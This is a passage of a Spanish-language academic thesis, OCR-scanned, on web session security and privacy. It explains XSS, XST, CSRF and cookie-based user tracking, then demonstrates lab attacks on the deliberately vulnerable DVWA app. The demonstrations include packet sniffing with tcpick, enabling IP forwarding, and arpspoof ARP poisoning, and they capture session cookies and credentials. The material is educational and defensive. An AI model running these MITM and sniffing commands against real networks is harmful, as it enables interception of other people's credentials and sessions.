utiliza. Dado que las cookies tienen atributos de vencimiento, si los si-
tios web utilizan cookies que no expiran o que el tiempo de expiracién

es muy grande, entonces se podran obtener cookies de sesién vélidas.

= Credenciales de acceso almacenadas, de modo de acceder automaéti-
camente a los sitios en los que el usuario configuré que el navegador
recuerde la contrasefia. Para que el navegador recuerde usuarios y con-
trasefias utilizadas, debera guardarlas en algtin lugar. Quien opere la

computadora podrd acceder a todas las contrasefias almacenadas.
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= Almacén de certificados (Certificados Personales / Autoridades de
Certificacién / Excepciones).

= Historial de sitios visitados.

Explotacién de vulnerabilidades web

Los errores en la codificacion o el disefio de una aplicacién web, dan lugar a
distintos tipos de fallos que pueden afectar diferentes partes de la aplicacion.
La explotacién de algunos de estos errores da lugar a ataques que pueden
ayudar a un atacante a revelar informacién de cookies de sesién de otros
usuarios, como asi también sobre credenciales de acceso.

Algunos de estos problemas de seguridad afectan de manera directa el me-
canismo de manejo de sesiones de las aplicaciones web. Esto se debe a que
permiten revelar cookies validas o simplemente no se realizan los controles
necesarios para proteger las sesiones web. La mayoria de estos problemas
estan incluidos en el OWASP Top Ten Project debido a la criticidad de los

mismos para una organizacion.

ATAQUE A SESIONES  Entre los fallos que pueden afectar la seguridad del
manejo de sesiones de la aplicacién web, podemos considerar los siguientes:

= XSS - Cross Site Scripting (Problema ntiimero 3 del OWASP Top Ten
Project)

Son fallos de codificacién que permiten que una aplicaciéon web utilice
datos enviados por el usuario sin que los mismos sean adecuadamente
validados. Este tipo de fallos puede ser utilizado para robar cookies de
sesion a otros usuarios. Por ejemplo, si un sitio web de compra y venta
tuviese un fallo de este tipo seria catastréfico. Un atacante podria crear
una publicacién para vender algo y dado que el sitio web no valida
adecuadamente los datos ingresados por el usuario, en la publicacién
podria ingresar también cédigo Javascript. Cuando un usuario visite
dicha publicacién, el cédigo JavaScript se ejecutard en su navegador.
El atacante podria haber ideado un cédigo JavaScript que accede a la
cookie de sesién y la envia a un servidor externo de manera de robar

la cookie de sesioén de cada usuario que visita su publicacién.
= XST[60] - Combinacién de XSS y uso del método HTTP TRACE

Las cookies de sesién pueden ser protegidas adecuadamente por el
desarrollador de la aplicacién web. Las cookies de sesién pueden ser
protegidas de ataques de XSS mediante la utilizacién del atributo Htt-
pOnly. Este atributo hace que las cookies no puedan ser accedidas des-
de el co6digo Javascript. Un ataque de XSS no podra acceder a cookies
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HttpOnly a menos que se utilice una variante al ataque XSS llamada
XST. Los ataques de XST se aprovechan de los problemas de XSS su-
mados a que el servidor web responde a requerimientos HTTP que
utilizan el método TRACE. El método TRACE responde al usuario
la informacién enviada en el requerimiento. Es un método utilizado
en tareas de depuracion. En este caso el c6digo JavaScript harfa una
peticion TRACE a la aplicaciéon web y analizaria luego la respuesta re-
cibida. Dado que el requerimiento se realiza a un sitio con el que hay
una cookie de sesién gestionada, la misma viaja en dicho requerimien-
to. La respuesta al requerimiento TRACE tendré los datos enviados,
entre los que estard la cookie de sesion.

= Broken authentication and Session Management (Problema ntimero 2
del OWASP Top Ten Project)

Se trata principalmente de errores de disefio del mecanismo de sesio-
nes de una aplicacién web. Este tipo de errores dan lugar a vulnerabi-
lidades que se pueden aprovechar para atacar el mecanismo de mane-
jo de sesiones de una aplicacién web. Entre los problemas, podemos

mencionar:
e Problemas de fijacion de sesiones.
e Problemas con la renovacion de las cookies.

e Problemas con los atributos de las cookies.

ATAQUE A LA INTEGRIDAD DE LAS OPERACIONES  Utilizando este tipo
de ataque se logra que, un usuario que utiliza una aplicacién web realice al-
guna accién determinada. Esta accién fue ideada por un tercero y el usuario
puede ni siquiera saber que la misma fue realizada. Para atacar la integridad
de las operaciones de un sistema web, se podrian usar:

= Vulnerabilidades web tipo CSRF - Cross-Site Request Forgery. Los
fallos de CSRF son considerados como el problema ntimero 8 del
OWASP Top Ten Project. Estos permiten que un usuario victima ha-
ga algo sobre una aplicacién web sin siquiera darse cuenta.

= Otra forma posible de realizarlo es a través del clickjaking o secuestro
de clicks[51].

Tanto para ataques de CSRF como de clickjaking, es necesario el uso de
ingenierfa social. La victima debe ser incitada a que visite una pagina web
determinada que provoca la ejecucion exitosa del ataque o que abra un
enlace recibido por mail.
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3.3 PROBLEMAS DE PRIVACIDAD CON EL MECANISMO DE MANEJO DE

SESIONES HTTP

En el diccionario de la lengua espafiola de la Real Academia Espafiola[61],
se define privacidad como:

“Ambito de la vida privada que se tiene derecho a proteger de

cualquier intromisiéon”.

Como ya se menciond, para poder implementar sesiones web, en la actuali-
dad se utilizan las cookies de sesion. Este mecanismo, descripto inicialmente
por Netscape[46] y estandarizado posteriormente por los siguientes docu-
mentos estdndares[39][40][6], fue desde sus comienzos controversial porque
atenta contra la privacidad de los usuarios[66]. En[41]David Kristol, autor
de [39][40], brinda una perspectiva personal sobre el modo en que, lo que
comenzé como una especificacién técnica, al intentar abordar asuntos no

técnicos como la privacidad, se convirtié en una cuestién politica.

El mecanismo de manejo de sesiones utilizado actualmente por las apli-
caciones web puede ser utilizado para atentar contra la privacidad de los
usuarios. Con las cookies de sesién que dicho mecanismo utiliza, es posi-
ble rastrear la actividad de navegacién de los usuarios. Utilizando dicha
informacién es posible armar un perfil de navegacién sobre los sitios web

visitados que puede incluir:
= Fecha y hora de las distintas visitas realizadas.

= Otros sitios web visitados en los momentos previos o posteriores a la

visita a un sitio en particular.

= Motivo de la visita. Dependiendo de cémo esté hecha la aplicacién

web visitada, serd posible establecer el motivo de la visita.

Rastreo de usuarios

Se conoce como rastreo de usuarios a la construccién de perfiles de nave-
gacién en base a la actividad en Internet que dichos usuarios puedan tener.
Actualmente, el rastreo de usuarios no sucede en un sitio web en particular
sino que puede ocurrir todo el tiempo que el usuario esté navegando en
Internet. La finalidad del rastreo de usuarios podria ser una o varias de las

siguientes:
= Marketing directo e interactivo o publicidad dirigida
= Fidelizacién de usuarios o clientes

= Vigilancia y monitoreo
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Por ejemplo, supongamos que la empresa de marketing MK quiere armar
perfiles de navegacién rastreando la actividad de distintos usuarios que na-
vegan en Internet. Con esta informacién, la empresa MK pretende hacer
publicidad dirigida, de modo de ofrecer un producto solamente a quien

esté interesado en ese tipo de productos.

Uno de las primeras acciones que la empresa MK deberd realizar para poder
rastrear la actividad de potenciales clientes, serd la de comprar espacios de
publicidad en diferentes sitios web. La eleccién del sitio web estard sujeta a
publico que lo utiliza, nivel de popularidad, etc.

Supongamos que MK compra derechos de publicidad en los sitios A, By C.
El espacio de publicidad comprado serd por ejemplo un banner en los sitios
web contratados. Cuando un usuario visite uno de estos sitios web, el banner
seleccionado que se le mostrara al usuario serd controlado por la empresa
MK. Cuando un usuario visite por ejemplo el sitio A, se desencadenaran las

siguientes acciones:

1. El usuario accede a http://www.a.com/. En el c6digo HTML de di-
cha pagina habrd una imagen que serd la referencia al banner de
publicidad comprado por MK. El navegador del usuario descarga-
rd autométicamente esta imagen utilizando la referencia especificada
en la pagina recientemente accedida. La URL del banner serd: http:

//mk.com/sitio_a. jpg.

2. La primera vez que el navegador del usuario intente descargar el ban-
ner del sitio web de la empresa MK, recibird de dicho sitio una cookie

de sesién con un tiempo de expiraciéon muy grande.

3. En el futuro, cada vez que el usuario visite el sitio web A, su navega-
dor intentara descargar el banner desde http://mk.com/sitio_a.jpg.
Dado que hay una cookie de sesion vélida para el sitio mk. com, al utili-
zar dicha cookie el sitio web de la empresa MK sabrd que se trata del

mismo usuario que anteriormente se le asigné esa cookie.

4. Incluso cuando el usuario visite el sitio web B, su navegador intenta-
rd descargar el banner desde http://mk.com/sitio_b. jpg. Dado que
hay una cookie de sesién valida para el sitio mk. com, al utilizar dicha
cookie el sitio web de la empresa MK sabrad que se trata del mismo

usuario que antes navegaba el sitio web A y ahora el sitio web B.

5. Dado que los requerimientos recibidos por el sitio web de la empresa
MK, de acuerdo al estdandar de HTTP[28] utilizan el encabezado REFE-
RER que indican la pagina web que se estaba visitando previamente, el
sitio MK puede asociar informacién adicional sobre el usuario. En la
URL recibida en el encabezado REFERER puede haber mds informacién

que permita, al sitio MK, determinar la razén por la cual el usuario


http://www.a.com/
http://mk.com/sitio_a.jpg
http://mk.com/sitio_a.jpg
http://mk.com/sitio_a.jpg
mk.com
http://mk.com/sitio_b.jpg
mk.com
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estaba visitando esa pagina.

Un simple ejemplo de ésto puede verse al entrar al sitio de Merca-
do Libre y buscar el articulo “bicicleta”. Al hacer esto, nuestro nave-
gador visita la siguiente pdgina: http://listado.mercadolibre.com.
ar/bicicletas#D[A:bicicletas]. Si en esta pdgina hubiese un ban-
ner que apunta a http://mk.com/sitio_ml.jpg, en el sitio web de
MK se podria inspeccionar el encabezado REFERER de la URL recibida
para notar que estamos interesados en bicicletas. De este modo MK

puede retornar al usuario publicidad sobre bicicletas.

Identificando rastreadores

El rastreo es una técnica ampliamente utilizada en Internet. Con el objeto de
mostrar el uso de técnicas de rastreo en Internet, tomaremos como referencia
una herramienta que permite identificar este tipo de sitios web. Lightbeam
es una herramienta que grafica la dependencia existente entre distintos sitios
web permitiendo identificar otros sitios también visitados, mas conocidos

como sitios de terceros.

Por ejemplo, podriamos usar Lightbeam, si quisiéramos saber la relacién

existente con sitios de terceros al visitar los siguientes sitios web:
= http://www.clarin.com/
» http://cnnespanol.cnn.com/
» http://elpais.com/

En la figura 3.7 se muestra el resultado obtenido con Lightbeam. En la mis-
ma se muestra la relacién existente entre los sitios visitados con otros sitios
de terceros a los que nuestro navegador accede autométicamente. En el re-

sultado se puede apreciar:
= Los sitios visitados por el usuario.
= Los sitios de terceros que se contactaron.

= Cuales de las peticiones realizadas a sitios de terceros, recibieron una

cookie de sesiéon (enlaces violetas).

= Se puede ver en el panel de la derecha el detalle de los sitios de terce-
ros contactados al visitar alguno de los sitios web originalmente visi-

tado. En este caso fue selecionado http://www.clarin.com.
= Los sitios de terceros enlazados a todas las paginas visitadas:
e http://doubleclick.net/

e http://scorecardresearch.com/
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Figura 3.7: Lightbeam

Podria decirse que mientras méas grande es la organizacién dedicada al ar-
mado de perfiles de usuario, mas posibilidades tendra de tener presencia en

distintos sitios web de acceso masivo tanto a nivel local como internacional.

Evitando actividad de rastreo de usuarios

El usuario puede tomar distintas acciones para evitar ser rastreado cuando
navega en Internet. Algunas de estas acciones tendran mayor efectividad
que otras. Incluso pueden influir en distinta medida en la experiencia de
navegaciéon del usuario. Entre las acciones que un usuario puede realizar
para evitar el rastreo, se pueden mencionar:

= Usar el modo incégnito o la navegacién privada

El modo incégnito, permite al usuario navegar por Internet normal-
mente. En el modo incégnito no se utilizan configuraciones particula-
res sobre el navegador. Cuando un usuario navega en Internet utili-
zando el modo incognito, tiene la certeza que al finalizar se borrardn
todos los datos de su navegacién. Entre estos datos se pueden mencio-
nar: cookies de sesién, historial o contrasefias almacenadas.

Cada vez que un usuario utiliza el modo incégnito, el navegador se
presenta a un posible sitio web rastreador como un usuario nuevo y
no como el mismo usuario que tal vez ayer habfa visitado los mis-
mos sitios. Esto se debe a que todas las cookies utilizadas son bo-
rradas cuando el usuario termina de utilizar el modo incégnito. Sin
embargo, las cookies no es el tinico elemento que un sitio web puede
utilizar para rastrear al usuario. Otras técnicas posibles que funciona-
rian incluso cuando el usuario utiliza el modo incégnito son HSTS

SuperCookies[36][2] y canvas fingerprinting[48].
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= Usar complementos para bloquear rastreadores

Existen complementos para los navegadores web que se encargan de
evitar accesos a sitios que se considera que hacen rastreo de usuarios.
Tanto Ghostery como Privacy Badger son complementos que permiten
detectar y evitar el acceso a distintos tipos de sitios de terceros cuando
el usuario navega en Internet.

Como en todas las cosas, no todo lo que reluce es oro. Ghostery es
una excelente herramienta. Sin embargo, algunos creen que vende la
informacién recolectada a empresas que pagan por ella[35]. Esto se
debe a que en el afio 2010 Ghostery fue adquirida por una empresa de
publicidad llamada Evidon.

= Usar complementos para bloquear ejecucion de scripts (NoScript)

Se pueden instalar complementos que se encargan de evitar que se
ejecute en el navegador del usuario cédigo de scripting. El cédigo de
scripting forma parte de los sitios web visitados. NoScript en un com-
plemento que solamente permite la ejecucién de cédigo JavaScript, Ja-
va y de otros complementos de los sitios web de confianza que el
usuario elija. Desde el punto de vista de su uso, este tipo de herra-
mientas requiere una participaciéon del usuario més activa. El usuario
debe indicar cuéles sitios web son de confianza o qué tipo de conteni-
do sera evaluado.

A pesar de esto, NoScript evita la ejecucién en el navegador de c6digo
hostil. Sin embargo, en lo que a privacidad respecta, si la referencia
al sitio de terceros se realizara con una imagen por ejemplo, no se

evitarfa completamente el rastreo.

= Activar en el navegador la opcién DNT (Do Not Track)[74]
DNT es un encabezado HTTP utilizado para indicar a los sitios web
visitados que el usuario no desea ser rastreado. Los sitios deben honrar

la peticién, aunque de ésto no hay garantias.

3.4 CONCLUSIONES

El mecanismo actualmente utilizado para el manejo de sesiones web se ba-
sa en el intercambio de cookies. Este intercambio de cookies no sélo atenta
contra la privacidad de los usuarios que navegan en Internet. La seguridad
de las aplicaciones web también podria ser comprometida mediante el robo
y manipulacién de cookies de sesién. Las cookies pueden facilitar la reali-
zacién de ataques de robo de sesién, robo de identidad y falsificacién de
acciones sobre el sistema web.
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Este capitulo se centra en la realizacién de pruebas de seguridad sobre apli-
caciones web. Con estas pruebas se mostrardn distintas maneras de atacar
sesiones web. Como se vera, la mayoria de los ataques utilizados aprovechan
distintas vulnerabilidades con las que se puede manipular el mecanismo de

manejo de sesiones.

Para las pruebas descriptas a continuacién, se utilizan distintas herramien-
tas con el objeto de establecer el entorno adecuado. Cuando los ataques a
mostrar se aprovechan de manipulaciones sobre protocolos de red, se utiliza
la herramienta CORE[64][1] que permite armar topologias y virtualizarlas.
Cuando los ataques a mostrar se valen de vulnerabilidades que pueden
tener distintas aplicaciones web, se utiliza la aplicacién web DVWA[26] -

Damn Vulnerable Web Application.

DVWA es una aplicacién web vulnerable de manera intencional. En DVWA
se puede probar distintos problemas de seguridad web. Entre los objetivos

de DVWA podemos mencionar:

= Ser una herramienta que ayude a entender y explotar problemas de

seguridad web.

= Ayudar a desarrolladores de aplicaciones web a entender la manera

adecuada de programar de manera segura

= Proveer un ambiente de trabajo adecuado que permita a docentes en-

sefiar distintos aspectos relacionados a la seguridad web.

4.1 INTRODUCCION

Cuando un sitio web debe autenticar usuarios, presenta una pédgina web
con un formulario en el que el usuario deberd ingresar tanto su nombre
de usuario como su contrasefia. Para llegar a este punto, el usuario acce-
de inicialmente a http://www.mitesis.com. En la respuesta enviada por el

31


http://www.mitesis.com

4.1 INTRODUCCION

servidor, se entregan al usuario cookies de sesién y, dado que no estd au-
tenticado, se lo redirige hacia el formulario de autenticacién propiamente
dicho: http://www.mitesis.com/login.php. La figura 4.1 muestra el for-
mulario de autenticacién de la aplicacion web DVWA. Las credenciales de

acceso por defecto de la aplicacion web DVWA son:

» Usuario: admin

» Contrasefia: password

@ Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox - + %

File Edit View History Bookmarks Tools Help
[ DamnVulnerablew... x | gp

€ mitesis.com, v | B~ coogle Ql & @& W B

D\(WA)

Username

admin

Password

Login

Figura 4.1: Portal de login a una aplicaciéon web

Cuando el usuario se autentica contra el servidor, envia esta informacion
al servidor. La figura 4.2 es el extracto de una captura de trafico en el que
se visualiza la informacién intercambiada entre el navegador del usuario y
el servidor. En color rojo se aprecia la informacién enviada por el usuario.
Como puede observarse, ademds del usuario y la contrasefia, se envian las
cookies de sesion que el servidor asigné al usuario: PHPSESSID y security.

Por otro lado, en la figura 4.2, en azul se muestra la respuesta enviada por
el servidor hacia el usuario. La aplicacién web recibi6 el requerimiento del
usuario con sus credenciales de acceso y, dado que son vélidas, asocia la
cookie del usuario con el usuario admin de la aplicacién web. En el futuro,
cualquier requerimiento HTTP que llegue a la aplicacién web con la cookie

de sesién asociada al usuario, se tratard con privilegios de admin.
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ke Follow TCP Stream - + x
Stream Content:

POST /login.php HTTP/1.1

Host: www.mitesis.com

User-Agent: Mozilla/5.6 (X11; Ubuntu; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
lAccept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.mitesis.com/login.php

Cookie: PHPSESSID=n8gm6poec60dgdfgacmérab642; security=low

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

username=admin&password=password&login=LoginHTTP/1.1 302 Found
Date: Sat, 09 May 2015 13:36:58 GMT

Server: Apache/2.2.22 (Ubuntu)

X-Powered-By: PHP/5.3.10-1lubuntu3.13

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Location: index.php

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 20

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Entire conversation (6339 bytes) v

Q Find | ZsaveAs | ®Print O Ascl O EBCDIC O HexDump ) CArrays @& Raw

Figura 4.2: Envio de usuario y contrasefia en HTTP

4.2 ATAQUES MEDIANTE TECNICAS DE SNIFFING Y MITM

Una aplicacion web que da servicio sobre HTTP pone en riesgo no sélo la
confidencialidad de la informacién transmitida, sino también las sesiones
de los usuarios. Esta falla es la ndmero 6 del OWASP Top Ten Project, la
cual estd catalogada como “Exposicién de Datos Sensibles”. Con técnicas
de sniffing es posible acceder a la informacién necesaria para implementar
ataques de robo de sesion y robo de identidad.

4.2.1  Sniffing

Las técnicas de sniffing son aplicables en distintas situaciones:

= Estamos conectados en una LAN en la que se utilizan hub como dis-

positivo de interconexion.

= Se tiene acceso a enrutadores por el que pasa el trafico que se quiere
analizar.

En cualquiera de las situaciones anteriores, el ataque seré trivial. Con sélo
ejecutar una aplicacién que realice andlisis de protocolos, el atacante podra
acceder a la informacién intercambiada entre el usuario y el servidor. En la

figura 4.3, el ataque de sniffing a la computadora de la victima cuando se co-
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munica con el servidor www.mitesis.com se podré realizar desde cualquiera
de las computadoras conectadas a la LAN como desde los enrutadores por
el que pasa el trafico de red: router1 y router.

www.mitesis.com

router2

4 8.0
routerl

router3

Figura 4.3: Segmento de LAN interconectado con hub

Si el atacante opera por ejemplo la computadora n11, entonces podré acce-
der al contenido de todas las comunicaciones de las demds computadoras
conectadas a la LAN. Cuando la victima acceda a www.mitesis.com, el ser-
vidor le ofrece una cookie de sesién y redirecciona al usuario al formulario
de autenticacién. En la figura 4.4 se ve lo que el atacante puede extraer del
trafico inspeccionado. Para ello se utilizé la herramienta tcpick[5]. Tepick
permite mostrar el intercambio de paquetes de las comunicaciones de red
sin necesidad de utilizar una interfaz grafica, resaltando y mostrando infor-

macion relevante.

root@nll:/tmp/pycore.60242/nl1l.conf# tcpick -i eth® -C -yP -h -a

Time t fo ectli ; B0

153960 S www-mitesis-com:http (8)
1 :http
:http AS > 10.0.50.20:53960 (0)
1 thttp
:53960 A www-mitesis-com:http (0)
1 thttp
............. 20.50.0.10.in-addr.arpa.....
:53960 AP www-mitesis-com:http (165)

GET / HTTP/1.1

User-Agent: curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/!
Host: www.mitesis.com

Accept: */*

thttp A 10.0.50.20:53960 (©)
:http AP > 10.0.50.20:53960 (438)
HTTP/1.1 302 Found
Date: Sat, 09 Jul 2016 01:07:18 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1lubuntu3.13
Set-Cookie: PHPSESSID=erft5al@ampftaBOasdkp8ijmj7; path=/
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: security=low
Location: login.php
Vary: Accept-Encoding
Content-Length: @
Content-Type: text/html

:53960 A www-mitesis-com:http (0)

Figura 4.4: Sniffing - Robo de cookies
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De este modo se pudo robar facilmente las cookies de sesién del usuario vic-
tima. Para robar las credenciales de acceso, el atacante deberd esperar a que
la victima envie el formulario de autenticacién al servidor web mostrado en

la figura 4.1.

:53961 AP www-mitesis-com:http (348)
POST /login.php HTTP/1.1
User-Agent: curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL
/1.0.1 z1lib/1.2.3.4 libidn/1.23 librtmp/2.3
Host: www.mitesis.com
Accept: */*
Cookie: security=low; PHPSESSID=erftSal@ampftaB0as4kp8jmj7
Content-Length: 44
Content-Type: application/x-www-form-urlencoded

username=admin&password=password&Login=Login
:http A 10.0.50.20:53961 (0)
:http AP 10.0.50.20:53961 (354)

HTTP/1.1 3062 Found

Date: Sat, 09 Jul 2016 01:11:02 GMT

Server: Apache/2.2.22 (Ubuntu)

X-Powered-By: PHP/5.3.10-1lubuntu3.13

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,

pre-check=0

Pragma: no-cache

Location: index.php

Vary: Accept-Encoding

Content-Length: ©

Content-Type: text/html

:53961 A www-mitesis-com:http (0)
153961 AF www-mitesis-com:http (0)
:http

Figura 4.5: Sniffing - Robo de credenciales de acceso

En la figura 4.5 puede observarse informacién capturada por el atacante
relacionada con el requerimiento de autenticacién del usuario. El requeri-
miento incluye, ademads de la cookie de sesién, las credenciales de acceso
del usuario. La captura de datos es similar a la mostrada anteriormente en

la figura 4.2.

4.2.2 MITM

En cualquiera de las situaciones anteriores que permiten el sniffing, el ata-
que es tan simple como ejecutar un analizador de protocolos que empiece a
capturar la informacién intercambiada entre el usuario victima y el servidor.
Tener la posibilidad de controlar un enrutador por el que pasa el trafico de
red no es una tarea que resulte facil o incluso posible. Por otro lado, hoy
en dfa no es comun que se utilicen hub para interconectar una red LAN. La
utilizacién de switch no es sélo una eleccién basada en la seguridad. Hace
unos afios los switch mas baratos se conseguian por un precio similar al de
los hub. El mercado hoy no ofrece hub puesto que se considera un producto
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obsoleto. Los fabricantes del sector no lo ofrecen entre sus soluciones de
networking.

La figura 4.6 muestra una red LAN interconectada utilizando un switch
como dispositivo de interconexién. En este escenario, para lograr realizar el
sniffing de los datos intercambiados entre Usuario y Servidor, es necesario
montar previamente un ataque de tipo MITM. Para llevar a cabo el ataque
de MITM el atacante utilizard la herramienta arpspoof[69] como se ilustra
en la figura 4.7. Cabe destacar que ademas, el atacante tendrd que habilitar
el forwarding de paquetes, es decir, funcionar como un enrutador. Esto se

logra con el siguiente comando:

echo 1 > /proc/sys/net/ipv4/ip_forward

Servidor

Usuario SWITCH

10.0/0.21/24

Atacante

Figura 4.6: Segmento de LAN interconectado con switch

-

root@tacante:/tmp/pycore.36905/Atacante. conf# -
root@tacante:/tmp/pycore.36905/Atacante.conf# arpspoof -t 10.0.0.20 10.0.0.10
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:23:0:2 0:0:0:22:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:a3a:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:a33:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:3a:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
B:0:0:a33:0:2 0:0:0:33:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:a3a3:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
B:0:0:233:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:23:0:2 0:0:0:223:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:a3a:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:23:0:2 0:0:0:22:0:0 0806 42: arp reply 10.0.0.10 is-at 9:0:0:a3a:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:23:0:2 0:0:0:22:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:a3a:0:2
0:0:0:32:0:2 0:0:0:23:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:33:0:2
0:0:0:32:0:2 0:0:0:223:0:0 0806 42: arp reply 10.0.0.10 is-at 0:0:0:3a3:0:2 v

Figura 4.7: Ataque arpspoof

Con el ataque de MITM se lograra que el usuario victima crea que la direc-
cién MAC asociada al servidor es la de la computadora del atacante. En la
figura 4.8 puede verse una peticiéon HTTP realizada al servidor utilizando
cURL[4] junto con la tabla ARP del usuario victima. Dado que la direccién
IP del servidor quedé asociada a la direccion MAC del Atacante, cada vez
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que el usuario envie paquetes al servidor, serdn realmente enviados al ata-
cante. El atacante, al recibir el trafico interceptado, deberd encauzarlo hacia
el servidor para no bloquear la comunicacién y quedar en el medio. Este en-
cauzamiento se hace porque el atacante habilité el forwarding de paquetes
en su computador.

root@Usuario: /tmp/pycore.36905/Usuario. conf# curl --data "username=admin&password=passwordf
Login=Login" http://10.0.0.10/login.php

root@suario: /tmp/pycore.36905/Usuario. conf#

root@suario: /tmp/pycore.36905/Usuario. conf# arp -an

? (10.0.0.10) at 00:00:00:3a:00:02 [ether] on eth®

? (10.8.0.21) at 00:00:00:aa:00:02 [ether] on_ethe

root@suario: /tmp/pycore.36905/Usuario. conf#

Figura 4.8: Victima de ataque arpspoof

Una vez realizado el ataque de MITM, sélo resta evaluar el trafico de red
que llega a la computadora del atacante para acceder al trafico de red del
usuario victima. Con ésto se logra realizar un ataque de sniffing en una
red interconectada con switch. En general, cuando se realiza un ataques de
MITM en una LAN, se engaiia a la posible victima para que asocie con la
MAC del atacante la direccién del enrutador por defecto de la red. De esta
forma, se puede hacer sniffing de todas las comunicaciones que el usuario

victima tenga con equipos en otras redes.

En la figura 4.9 se muestra la informacién capturada por el atacante durante
el sniffing luego de hacer el ataque de MITM. Allf se puede observar los da-
tos de la peticién realizada por el usuario victima usando cURL en la figura
4.8. Se puede notar que el ataque mostrado en la figura 4.9 intercepta so-
lamente un sentido de la comunicacién. Se capturan los paquetes enviados
desde la computadora del usuario hacia el servidor. Esto se debe a que el
ataque de MITM estd engafiando al usuario y no al servidor. Otro punto de
interés en la informacién revelada durante el ataque, es que el requerimien-
to HTTP esta duplicado. Esto se debe a que el primer requerimiento es el
que el usuario victima envia a nivel de capa de enlace a la MAC del Ata-
cante. El segundo requerimiento se trata del mismo requerimiento después
de ser enrutado por la computadora del atacante. A nivel de capa de enlace
el segundo requerimiento es enviado desde la MAC del atacante hacia la
MAC del servidor.

Mediante la combinacién de MITM vy sniffing se logré vulnerar la confiden-
cialidad de la informacién transmitida en redes interconectadas con switch.
Dado que la aplicacién web utilizaba comunicaciones HTTP las cuales se
consideran inseguras, fue posible tener acceso a informacién valiosa como
pueden ser: credenciales de acceso o cookies de sesion. Esta informacién es
suficiente para realizar ataques de robo de identidad y ataques de robo de
sesion respectivamente.
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-
root@Atacante: /tmp/pycore.36905/Atacante. conf# tcpick -i eth® -C -yP -h -a a

149497 5 16.0.0.10:http (@)
:http
:49497 S > 10.8.0.10:http (8)
http
:49497 A > 10.0.0.10:http (@)
149497 A > 10.0.0.10:http (8)
149497 AP 10.0.0.18:http (282)
POST /login.php HTTPR/1.1
User-Agent: curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.8 OpenSSL/1.8.1 zlib/1.2
.3.4 libidn/1.23 librtmp/2.3
Host: 10.0.0.18
Accept: */*
Content-Length: 44
Content-Type: application/x-www-form-urlencoded

username=admin&password=password&login=Login
149497 AP 10.8.0.18:http (282)
POST /login.php HTTP/1.1
User-Agent: curl,/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.8 OpenSSL/1.0.1 zlib/1.2
.3.4 libidn/1.23 librtmp/2.3
Host: 10.0.8.18
Accept: */*
Content-Length: 44
Content-Type: application/x-www-form-urlencoded

username=admin&password=password&lLogin=Login
149497 A > 10.0.0.10:http (8)
149497 A > 10.0.0.16:http (@)
149497 AF 10.8.0.18:http (6)
149497 AF 10.8.0.18:http (6)
149497 A > 10.0.0.10:http (0)
149497 A > 10.0.0.10:http (8)

~C

root@Atacante: /tmp/pycore.36905/Atacante. conf# [

Figura 4.9: Sniffing combinado con MITM

4.3 ATAQUES MEDIANTE TECNICAS DE SSL SPOOFING

Las aplicaciones web pueden proteger sus comunicaciones utilizando el pro-
tocolo HTTPs. Con HTTPs, mediante el cifrado de los datos, se protege la
confidencialidad y la integridad de la informacién transmitida. Sin embar-
go, las comunicaciones HTTPs no estan exentas de ataques. El ataque de SSL
spoofing logra que usuarios desprevenidos utilicen comunicaciones HTTP
cuando en realidad deberian haber utilizado comunicaciones HTTPs.

La figura 4.10 ilustra una configuracién de red tipica. En el ataque SSL spoo-
fing a mostrar, USUARIO1 serd la victima del ataque cuando intenta acceder
al sitio web DVWA. En el servidor DVWA se aloja una aplicacién web vulne-
rable llamada DVWA. Para evitar ataques de MITM vy sniffing, la aplicacién
web utiliza HTTPs. Sin embargo, como es comn en este tipo de situaciones,
el servidor recibe y redirecciona automéaticamente los requerimientos HTTP
hacia su portal HTTPs. Esta redireccién es un mala practica que evita recha-

38



